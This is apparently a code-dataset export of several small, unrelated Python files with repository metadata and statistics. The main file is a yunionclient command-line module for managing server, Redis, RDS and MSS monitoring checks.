538f6c410210a6e3405ca5b61dc7bc41d251cdf8
|
[
"MIT"
] | null | null | null |
"""
Модуль для работы с latex
"""
from .tables import gen_from_dataframe
__all__ = ['gen_from_dataframe']
| 15.285714
| 38
| 0.747664
| 15
| 107
| 4.8
| 0.733333
| 0.194444
| 0.444444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.140187
| 107
| 6
| 39
| 17.833333
| 0.782609
| 0.233645
| 0
| 0
| 0
| 0
| 0.243243
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
ce9b2fdc2a2676e631928cd18aefb06e1c4af498
| 19,573
|
py
|
Python
|
yunionclient/shells/monitors.py
|
tb365/mcclient_python
|
06647e7496b9e2c3aeb5ade1276c81871063159b
|
[
"Apache-2.0"
] | 3
|
2021-09-22T11:34:08.000Z
|
2022-03-13T04:55:17.000Z
|
yunionclient/shells/monitors.py
|
xhw20190116/python_yunionsdk
|
eb7c8c08300d38dac204ec4980a775abc9c7083a
|
[
"Apache-2.0"
] | 13
|
2019-06-06T08:25:41.000Z
|
2021-07-16T07:26:10.000Z
|
yunionclient/shells/monitors.py
|
xhw20190116/python_yunionsdk
|
eb7c8c08300d38dac204ec4980a775abc9c7083a
|
[
"Apache-2.0"
] | 7
|
2019-03-31T05:43:36.000Z
|
2021-03-04T09:59:05.000Z
|
from yunionclient.common import utils
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
@utils.arg('--system', action='store_true', help='Show system objects?')
def do_monitor_alive_check_list(client, args):
""" List monitor items """
kwargs = {}
if args.tenant:
kwargs['tenant'] = args.tenant
if args.system:
kwargs['is_system'] = True
monitors = client.alivecheck.list(**kwargs)
utils.print_list(monitors, client.alivecheck.columns)
@utils.arg('--server-id', metavar='<SERVER>', required=True, help='Server ID')
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
@utils.arg('--description', metavar='<DESCRIPTION>', help='Description')
@utils.arg('--system', action='store_true', help='Show system objects?')
def do_monitor_alive_check_create(client, args):
""" Create alive check monitor """
kwargs = {'server_id': args.server_id}
if args.tenant:
kwargs['tenant'] = args.tenant
if args.description:
kwargs['description'] = args.description
if args.system:
kwargs['is_system'] = True
item = client.alivecheck.create(**kwargs)
utils.print_dict(item)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_alive_check_enable(client, args):
""" enable alive check monitor """
item = client.alivecheck.perform_action(args.id, 'enable')
utils.print_dict(item)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_alive_check_disable(client, args):
""" disable alive check monitor """
item = client.alivecheck.perform_action(args.id, 'disable')
utils.print_dict(item)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_alive_check_delete(client, args):
""" Delete alive check monitor """
item = client.alivecheck.delete(args.id)
utils.print_dict(item)
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
@utils.arg('--system', action='store_true', help='Show system objects?')
def do_monitor_tcp_check_list(client, args):
""" List monitor items """
kwargs = {}
if args.tenant:
kwargs['tenant'] = args.tenant
if args.system:
kwargs['is_system'] = True
monitors = client.tcpcheck.list(**kwargs)
utils.print_list(monitors, client.tcpcheck.columns)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_tcp_check_enable(client, args):
""" Enable tcp check monitor """
item = client.tcpcheck.perform_action(args.id, 'enable')
utils.print_dict(item)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_tcp_check_disable(client, args):
""" Disable tcp check monitor """
item = client.tcpcheck.perform_action(args.id, 'disable')
utils.print_dict(item)
@utils.arg('--server-id', metavar='<SERVER>', required=True, help='Server ID')
@utils.arg('--tcp-port', metavar='<TCPPORT>', required=True, help='TCP port')
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
@utils.arg('--description', metavar='<DESCRIPTION>', help='Description')
@utils.arg('--system', action='store_true', help='Show system objects?')
def do_monitor_tcp_check_create(client, args):
""" Create tcp check monitor """
kwargs = {
'server_id': args.server_id,
'port': args.tcp_port,
}
if args.tenant:
kwargs['tenant'] = args.tenant
if args.description:
kwargs['description'] = args.description
if args.system:
kwargs['is_system'] = True
item = client.tcpcheck.create(**kwargs)
utils.print_dict(item)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_tcp_check_delete(client, args):
""" Delete tcp check monitor """
item = client.tcpcheck.delete(args.id)
utils.print_dict(item)
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
@utils.arg('--system', action='store_true', help='Show system objects?')
def do_monitor_metric_check_list(client, args):
""" List monitor items """
kwargs = {}
if args.tenant:
kwargs['tenant'] = args.tenant
if args.system:
kwargs['is_system'] = True
monitors = client.metriccheck.list(**kwargs)
utils.print_list(monitors, client.metriccheck.columns)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_metric_check_enable(client, args):
""" Enable metric check monitor """
item = client.metriccheck.perform_action(args.id, 'enable')
utils.print_dict(item)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_metric_check_disable(client, args):
""" Disable metric check monitor """
item = client.metriccheck.perform_action(args.id, 'disable')
utils.print_dict(item)
@utils.arg('--server-id', metavar='<SERVER>', required=True, help='Server ID')
@utils.arg('--metric', metavar='<METRIC>', required=True, help='Metric Key')
@utils.arg('--threshold', metavar='<THRESHOLD>', required=True, help='Threshold')
@utils.arg('--operator', metavar='<OPERATOR>', choices=['GT', 'EQ', 'LT'], required=True, help='Operator')
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
@utils.arg('--description', metavar='<DESCRIPTION>', help='Description')
@utils.arg('--system', action='store_true', help='Show system objects?')
def do_monitor_metric_check_create(client, args):
""" Create metric check monitor """
kwargs = {
'server_id': args.server_id,
'metric': args.metric,
'threshold': args.threshold,
'operator': args.operator,
}
if args.tenant:
kwargs['tenant'] = args.tenant
if args.description:
kwargs['description'] = args.description
if args.system:
kwargs['is_system'] = True
item = client.metriccheck.create(**kwargs)
utils.print_dict(item)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_metric_check_delete(client, args):
""" Delete metric check monitor """
item = client.metriccheck.delete(args.id)
utils.print_dict(item)
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
@utils.arg('--server-id', metavar='<SERVER>', help='Server ID')
@utils.arg('--group-id', metavar='<GROUP>', help='Group ID')
@utils.arg('--system', action='store_true', help='Show system objects?')
@utils.arg('--mtype', metavar='<TYPE>', choices=['server', 'redis', 'rds', 'elb'], help='Metric type')
def do_monitor_metrics_list(client, args):
""" List available metrics """
kwargs = {}
if args.tenant:
kwargs['tenant'] = args.tenant
if args.server_id:
kwargs = {'server_id': args.server_id}
if args.group_id:
kwargs = {'group_id': args.group_id}
if args.system:
kwargs['is_system'] = True
if args.mtype:
kwargs['type'] = args.mtype
metrics = client.metrics.list(**kwargs)
utils.print_list(metrics, client.metrics.columns)
@utils.arg('--limit', metavar='<NUMBER>', default=20, help='Page limit')
@utils.arg('--offset', metavar='<OFFSET>', help='Page offset')
@utils.arg('--order', metavar='<ORDER>', choices=['desc', 'asc'], help='order')
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
@utils.arg('--id', metavar='<ID>', help='Monitor Item ID')
@utils.arg('--server-id', metavar='<SERVER>', help='Server ID')
@utils.arg('--time-from', metavar='<TIMEFROM>', help='Time from')
@utils.arg('--time-till', metavar='<TIMETILL>', help='Time till')
@utils.arg('--system', action='store_true', help='Show system objects?')
def do_monitor_event_list(client, args):
"""List event history"""
kwargs = {}
if args.id:
kwargs['monitorid'] = args.id
if args.tenant:
kwargs['tenant'] = args.tenant
if args.server_id:
kwargs['server_id'] = args.server_id
if args.time_from and args.time_till:
kwargs['time_from'] = args.time_from
kwargs['time_till'] = args.time_till
if args.limit:
kwargs['limit'] = args.limit
if args.offset:
kwargs['offset'] = args.offset
if args.order:
kwargs['order'] = args.order
if args.system:
kwargs['is_system'] = True
events = client.eventhistory.list(**kwargs)
utils.print_list(events, client.eventhistory.columns)
@utils.arg('userid', metavar='<USER>', help='USER ID')
def do_monitor_media_list(client, args):
"""List media"""
kwargs = {'user_id': args.userid}
medias = client.media.list(**kwargs)
utils.print_list(medias)
@utils.arg('--user-id', metavar='<USER>', required=True, help='User monitor ID')
@utils.arg('--email', metavar='<EMAIL>', help='Email send to')
@utils.arg('--sms', metavar='<SMS>', help='SMS number send to')
def do_monitor_media_create(client, args):
"""Create user media"""
kwargs = {'user_id': args.user_id}
if args.email:
kwargs['email'] = args.email
if args.sms:
kwargs['sms'] = args.sms
media = client.media.create(**kwargs)
utils.print_dict(media)
@utils.arg('id', metavar='<MEDIA>', help='Media ID')
def do_monitor_media_delete(client, args):
"""Delete user media"""
media = client.media.delete(args.id)
utils.print_dict(media)
@utils.arg('--instance-id', metavar='<INSTANCE>', required=True, help='Instance ID')
@utils.arg('--metric', metavar='<METRIC_KEY>', required=True, help='Metric key')
@utils.arg('--mtype', metavar='<MONITOR_TYPE>', required=True, choices=['server', 'rds', 'redis', 'elb'], help='Instance type')
@utils.arg('--since', metavar='<SINCE>', help='since time')
@utils.arg('--until', metavar='<UNTIL>', help='util time')
@utils.arg('--stat_func', metavar='<FUNC>', choices=['max', 'min', 'sum', 'avg'], help='value function')
@utils.arg('--interval_unit', required=False,
help='Specify time unit for INTERVAL argument.',
default='minute', choices=['minute', 'hour', 'day'])
@utils.arg('--count', required=False,\
help='How many items to be returned; Default is 20.', default=20)
def do_monitor_data(client, args):
""" List monitor data """
kwargs = {}
kwargs['instance_id'] = args.instance_id
kwargs['metric'] = args.metric
kwargs['mtype'] = args.mtype
if args.since:
kwargs['since'] = args.since
if args.until:
kwargs['until'] = args.until
if args.stat_func:
kwargs['stat_func'] = args.stat_func
if args.interval_unit:
kwargs['interval_unit'] = args.interval_unit
if args.count:
kwargs['count'] = args.count
datas = client.datahistory.list(**kwargs)
utils.print_list(datas, client.datahistory.columns)
@utils.arg('--redis-id', metavar='<REDIS_ID>', required=True, help='Redis ID')
@utils.arg('--metric', metavar='<METRIC>', required=True, help='Metric Key')
@utils.arg('--threshold', metavar='<THRESHOLD>', required=True, help='Threshold')
@utils.arg('--operator', metavar='<OPERATOR>', choices=['GT', 'EQ', 'LT'], required=True, help='Operator')
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
@utils.arg('--description', metavar='<DESCRIPTION>', help='Description')
@utils.arg('--system', action='store_true', help='Show system objects?')
def do_monitor_redis_check_create(client, args):
""" Create redis check monitor """
kwargs = {
'group_id': args.redis_id,
'metric': args.metric,
'threshold': args.threshold,
'operator': args.operator,
}
if args.tenant:
kwargs['tenant'] = args.tenant
if args.description:
kwargs['description'] = args.description
if args.system:
kwargs['is_system'] = True
item = client.redischeck.create(**kwargs)
utils.print_dict(item)
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
@utils.arg('--system', action='store_true', help='Show system objects?')
def do_monitor_redis_check_list(client, args):
""" List monitor items """
kwargs = {}
if args.tenant:
kwargs['tenant'] = args.tenant
if args.system:
kwargs['is_system'] = True
monitors = client.redischeck.list(**kwargs)
utils.print_list(monitors, client.redischeck.columns)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_redis_check_enable(client, args):
""" Enable redis check monitor """
item = client.redischeck.perform_action(args.id, 'enable')
utils.print_dict(item)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_redis_check_disable(client, args):
""" Disable redis check monitor """
item = client.redischeck.perform_action(args.id, 'disable')
utils.print_dict(item)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_redis_check_delete(client, args):
""" Delete redis check monitor """
item = client.redischeck.delete(args.id)
utils.print_dict(item)
@utils.arg('--redis-id', metavar='<REDIS_ID>', required=True, help='Redis ID')
@utils.arg('--metric', metavar='<METRIC>', required=True, help='Metric Key')
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
@utils.arg('--description', metavar='<DESCRIPTION>', help='Description')
@utils.arg('--system', action='store_true', help='Show system objects?')
def do_monitor_redis_alive_check_create(client, args):
""" Create redis alive check monitor """
kwargs = {
'group_id': args.redis_id,
'metric': args.metric,
}
if args.tenant:
kwargs['tenant'] = args.tenant
if args.description:
kwargs['description'] = args.description
if args.system:
kwargs['is_system'] = True
item = client.redisalivecheck.create(**kwargs)
utils.print_dict(item)
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
@utils.arg('--system', action='store_true', help='Show system objects?')
def do_monitor_redis_alive_check_list(client, args):
""" List monitor items """
kwargs = {}
if args.tenant:
kwargs['tenant'] = args.tenant
if args.system:
kwargs['is_system'] = True
monitors = client.redisalivecheck.list(**kwargs)
utils.print_list(monitors, client.redisalivecheck.columns)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_redis_alive_check_delete(client, args):
""" Delete redis alive check monitor """
item = client.redisalivecheck.delete(args.id)
utils.print_dict(item)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_redis_alive_check_enable(client, args):
""" Enable redis alive check monitor """
item = client.redisalivecheck.perform_action(args.id, 'enable')
utils.print_dict(item)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_redis_alive_check_disable(client, args):
""" Disable redis alive check monitor """
item = client.redisalivecheck.perform_action(args.id, 'disable')
utils.print_dict(item)
@utils.arg('--mss-id', metavar='<MSS_ID>', required=True, help='MSS ID, UserID')
@utils.arg('--metric', metavar='<METRIC>', required=True, help='Metric Key')
@utils.arg('--threshold', metavar='<THRESHOLD>', required=True, help='Threshold')
@utils.arg('--operator', metavar='<OPERATOR>', choices=['GT', 'EQ', 'LT'], required=True, help='Operator')
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
@utils.arg('--description', metavar='<DESCRIPTION>', help='Description')
#@utils.arg('--system', action='store_true', help='Show system objects?')
def do_monitor_mss_check_create(client, args):
""" Create mss check monitor """
kwargs = {
'group_id': args.mss_id,
'metric': args.metric,
'threshold': args.threshold,
'operator': args.operator,
}
if args.tenant:
kwargs['tenant'] = args.tenant
if args.description:
kwargs['description'] = args.description
#if args.system:
# kwargs['is_system'] = True
item = client.msscheck.create(**kwargs)
utils.print_dict(item)
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
#@utils.arg('--system', action='store_true', help='Show system objects?')
def do_monitor_mss_check_list(client, args):
""" List monitor items """
kwargs = {}
if args.tenant:
kwargs['tenant'] = args.tenant
#if args.system:
# kwargs['is_system'] = True
monitors = client.msscheck.list(**kwargs)
utils.print_list(monitors, client.msscheck.columns)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_mss_check_enable(client, args):
""" Enable mss check monitor """
item = client.msscheck.perform_action(args.id, 'enable')
utils.print_dict(item)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_mss_check_disable(client, args):
""" Disable mss check monitor """
item = client.msscheck.perform_action(args.id, 'disable')
utils.print_dict(item)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_mss_check_delete(client, args):
""" Delete mss check monitor """
item = client.msscheck.delete(args.id)
utils.print_dict(item)
@utils.arg('--rds-id', metavar='<RDS_ID>', required=True, help='RDS ID')
@utils.arg('--metric', metavar='<METRIC>', required=True, help='Metric Key')
@utils.arg('--threshold', metavar='<THRESHOLD>', required=True, help='Threshold')
@utils.arg('--operator', metavar='<OPERATOR>', choices=['GT', 'EQ', 'LT'], required=True, help='Operator')
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
@utils.arg('--description', metavar='<DESCRIPTION>', help='Description')
@utils.arg('--system', action='store_true', help='Show system objects?')
def do_monitor_rds_check_create(client, args):
""" Create rds check monitor """
kwargs = {
'group_id': args.rds_id,
'metric': args.metric,
'threshold': args.threshold,
'operator': args.operator,
}
if args.tenant:
kwargs['tenant'] = args.tenant
if args.description:
kwargs['description'] = args.description
if args.system:
kwargs['is_system'] = True
item = client.rdscheck.create(**kwargs)
utils.print_dict(item)
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant Name')
@utils.arg('--system', action='store_true', help='Show system objects?')
def do_monitor_rds_check_list(client, args):
""" List monitor items """
kwargs = {}
if args.tenant:
kwargs['tenant'] = args.tenant
if args.system:
kwargs['is_system'] = True
monitors = client.rdscheck.list(**kwargs)
utils.print_list(monitors, client.rdscheck.columns)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_rds_check_enable(client, args):
""" Enable rds check monitor """
item = client.rdscheck.perform_action(args.id, 'enable')
utils.print_dict(item)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_rds_check_disable(client, args):
""" Disable rds check monitor """
item = client.rdscheck.perform_action(args.id, 'disable')
utils.print_dict(item)
@utils.arg('id', metavar='<ID>', help='Monitor Item ID')
def do_monitor_rds_check_delete(client, args):
""" Delete rds check monitor """
item = client.rdscheck.delete(args.id)
utils.print_dict(item)
@utils.arg('--tenant', metavar='<TENANT>', help='Tenant')
def do_monitor_check_summary(client, args):
""" Count"""
kwargs = {}
if args.tenant:
kwargs['tenant'] = args.tenant
counts = client.checksummary.list(**kwargs)
utils.print_list(counts, client.checksummary.columns)
| 39.461694
| 127
| 0.658049
| 2,505
| 19,573
| 5.021158
| 0.051098
| 0.066783
| 0.04007
| 0.04007
| 0.80291
| 0.757434
| 0.706154
| 0.673875
| 0.661949
| 0.653363
| 0
| 0.000365
| 0.160936
| 19,573
| 495
| 128
| 39.541414
| 0.765512
| 0.065601
| 0
| 0.567775
| 0
| 0
| 0.207442
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.107417
| false
| 0
| 0.002558
| 0
| 0.109974
| 0.107417
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
ceb00cf775b07616fd3f8e43e8a231eb2058eb71
| 48
|
py
|
Python
|
reflowrestclient/__init__.py
|
whitews/ReFlowRESTClient
|
69369bbea501382291b71facea7a511ab8f7848b
|
[
"BSD-3-Clause"
] | null | null | null |
reflowrestclient/__init__.py
|
whitews/ReFlowRESTClient
|
69369bbea501382291b71facea7a511ab8f7848b
|
[
"BSD-3-Clause"
] | null | null | null |
reflowrestclient/__init__.py
|
whitews/ReFlowRESTClient
|
69369bbea501382291b71facea7a511ab8f7848b
|
[
"BSD-3-Clause"
] | null | null | null |
__all__ = []
from reflowrestclient import utils
| 16
| 34
| 0.791667
| 5
| 48
| 6.8
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.145833
| 48
| 3
| 34
| 16
| 0.829268
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
cebb6c66e0fd4ef61bf1d3a66e1a4fc17da6ffff
| 91
|
py
|
Python
|
tests/data/testarosa_py/testarosa_py/errors.py
|
Jonxslays/nusex
|
8ec8a628f3ba253b218d966be41e231ed449c264
|
[
"BSD-3-Clause"
] | 3
|
2021-09-10T03:40:29.000Z
|
2021-12-10T19:28:11.000Z
|
tests/data/testarosa_py/testarosa_py/errors.py
|
Jonxslays/nusex
|
8ec8a628f3ba253b218d966be41e231ed449c264
|
[
"BSD-3-Clause"
] | 20
|
2021-10-04T21:28:45.000Z
|
2021-12-13T17:12:10.000Z
|
tests/data/testarosa_py/testarosa_py/errors.py
|
Jonxslays/nusex
|
8ec8a628f3ba253b218d966be41e231ed449c264
|
[
"BSD-3-Clause"
] | 2
|
2021-10-08T02:22:30.000Z
|
2021-11-05T00:41:35.000Z
|
class TestarosaPyError(Exception):
...
class AnotherError(TestarosaPyError):
...
| 13
| 37
| 0.692308
| 6
| 91
| 10.5
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.175824
| 91
| 6
| 38
| 15.166667
| 0.84
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0.5
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
cec7d45170f127ae7196dc4c44db0a9180da8379
| 159
|
py
|
Python
|
accounts/templatetags/account_components.py
|
RoosDaniel/Fadderjobb
|
2333be793930c4b45e8c05bde6ae29044fdc900c
|
[
"MIT"
] | 2
|
2018-11-16T12:38:24.000Z
|
2019-07-15T05:18:31.000Z
|
accounts/templatetags/account_components.py
|
RoosDaniel/Fadderjobb
|
2333be793930c4b45e8c05bde6ae29044fdc900c
|
[
"MIT"
] | 8
|
2020-02-11T23:17:26.000Z
|
2022-02-10T09:33:44.000Z
|
accounts/templatetags/account_components.py
|
RoosDaniel/Fadderjobb
|
2333be793930c4b45e8c05bde6ae29044fdc900c
|
[
"MIT"
] | null | null | null |
from django import template
register = template.Library()
@register.inclusion_tag("components/userlink.html")
def userlink(user):
return {"user": user}
| 17.666667
| 51
| 0.748428
| 19
| 159
| 6.210526
| 0.736842
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125786
| 159
| 8
| 52
| 19.875
| 0.848921
| 0
| 0
| 0
| 0
| 0
| 0.176101
| 0.150943
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.2
| 0.2
| 0.6
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
cec9e9b2ab14d4a0a62981a7a861c14d77cde7f7
| 337
|
py
|
Python
|
libs/analysis/analyze_board.py
|
PrinceWalnut/hexcells_solver
|
c28131b3e273194db85f8ce24a3c8b4d9d088035
|
[
"MIT"
] | null | null | null |
libs/analysis/analyze_board.py
|
PrinceWalnut/hexcells_solver
|
c28131b3e273194db85f8ce24a3c8b4d9d088035
|
[
"MIT"
] | null | null | null |
libs/analysis/analyze_board.py
|
PrinceWalnut/hexcells_solver
|
c28131b3e273194db85f8ce24a3c8b4d9d088035
|
[
"MIT"
] | null | null | null |
"""
This file analyzes a game state and determines the next (group of) cells to mark grey or blue.
The output file for this will be "${GAMESTATE_FILENAME}_soln".
The data output will consist of:
1. An array of cells to mark as blue
2. An array of cells to mark as grey
3. An array of data structures to mark as completed
"""
| 37.444444
| 94
| 0.724036
| 62
| 337
| 3.903226
| 0.564516
| 0.099174
| 0.11157
| 0.161157
| 0.181818
| 0.181818
| 0.181818
| 0
| 0
| 0
| 0
| 0.011407
| 0.219585
| 337
| 8
| 95
| 42.125
| 0.908745
| 0.973294
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
cecc30b114cd767ffeabda08f7b37e4658633253
| 87
|
py
|
Python
|
mytags/apps.py
|
common1/newassetcms
|
65eee3c2ed9dac4cc56bfff863a6cbaff9830d26
|
[
"MIT"
] | null | null | null |
mytags/apps.py
|
common1/newassetcms
|
65eee3c2ed9dac4cc56bfff863a6cbaff9830d26
|
[
"MIT"
] | 7
|
2020-06-05T20:43:46.000Z
|
2022-01-13T01:14:21.000Z
|
mytags/apps.py
|
common1/newassetcms
|
65eee3c2ed9dac4cc56bfff863a6cbaff9830d26
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class MytagsConfig(AppConfig):
name = 'mytags'
| 14.5
| 33
| 0.747126
| 10
| 87
| 6.5
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.172414
| 87
| 5
| 34
| 17.4
| 0.902778
| 0
| 0
| 0
| 0
| 0
| 0.068966
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
ced631f8339f5208d4208700830573ffc379d7fb
| 317
|
py
|
Python
|
experiments/exp_interface.py
|
zzh237/quanthmc
|
8126691b43bddc2b1a96f73ab35d04d1af200d7a
|
[
"MIT"
] | null | null | null |
experiments/exp_interface.py
|
zzh237/quanthmc
|
8126691b43bddc2b1a96f73ab35d04d1af200d7a
|
[
"MIT"
] | null | null | null |
experiments/exp_interface.py
|
zzh237/quanthmc
|
8126691b43bddc2b1a96f73ab35d04d1af200d7a
|
[
"MIT"
] | null | null | null |
from abc import ABC, abstractclassmethod
import numpy as np
import torch.nn as nn
class exp_interface(ABC):
def prepare_model(self)->nn.Module:
raise NotImplementedError
def generate_data(self)->dict:
raise NotImplementedError
def get_algorithm(self):
raise NotImplementedError
| 28.818182
| 40
| 0.731861
| 39
| 317
| 5.846154
| 0.615385
| 0.315789
| 0.236842
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.208202
| 317
| 11
| 41
| 28.818182
| 0.908367
| 0
| 0
| 0.3
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.3
| false
| 0
| 0.3
| 0
| 0.7
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
ced9fc565044dba0b610605c8efe8dc5aa9182f1
| 111
|
py
|
Python
|
examples/soracom.py
|
ks6088ts/sandbox-cloud-python
|
1d4c3b768dd1c6a4130ae8d61c56dab5ebb8f2b4
|
[
"MIT"
] | null | null | null |
examples/soracom.py
|
ks6088ts/sandbox-cloud-python
|
1d4c3b768dd1c6a4130ae8d61c56dab5ebb8f2b4
|
[
"MIT"
] | 13
|
2021-07-23T22:33:02.000Z
|
2021-08-09T06:30:09.000Z
|
examples/soracom.py
|
ks6088ts/sandbox-cloud-python
|
1d4c3b768dd1c6a4130ae8d61c56dab5ebb8f2b4
|
[
"MIT"
] | null | null | null |
"""
SORACOM Example
"""
import fire
import pkg
if __name__ == '__main__':
fire.Fire(pkg.soracom.Handler)
| 11.1
| 34
| 0.684685
| 14
| 111
| 4.857143
| 0.642857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.171171
| 111
| 9
| 35
| 12.333333
| 0.73913
| 0.135135
| 0
| 0
| 0
| 0
| 0.090909
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
0c6bd94203c5e418ffd142870fd9102a849fd2dc
| 34
|
py
|
Python
|
src/quantfinpy/utils/__init__.py
|
TradingPy/quantfinpy
|
20569c67314557b907dd2306dd48ec8be1b4a1a6
|
[
"BSD-3-Clause"
] | 2
|
2022-03-13T12:44:17.000Z
|
2022-03-31T18:00:21.000Z
|
src/quantfinpy/utils/__init__.py
|
TradingPy/quantfinpy
|
20569c67314557b907dd2306dd48ec8be1b4a1a6
|
[
"BSD-3-Clause"
] | null | null | null |
src/quantfinpy/utils/__init__.py
|
TradingPy/quantfinpy
|
20569c67314557b907dd2306dd48ec8be1b4a1a6
|
[
"BSD-3-Clause"
] | null | null | null |
"""Util classes and functions."""
| 17
| 33
| 0.676471
| 4
| 34
| 5.75
| 1
| 0
| 0
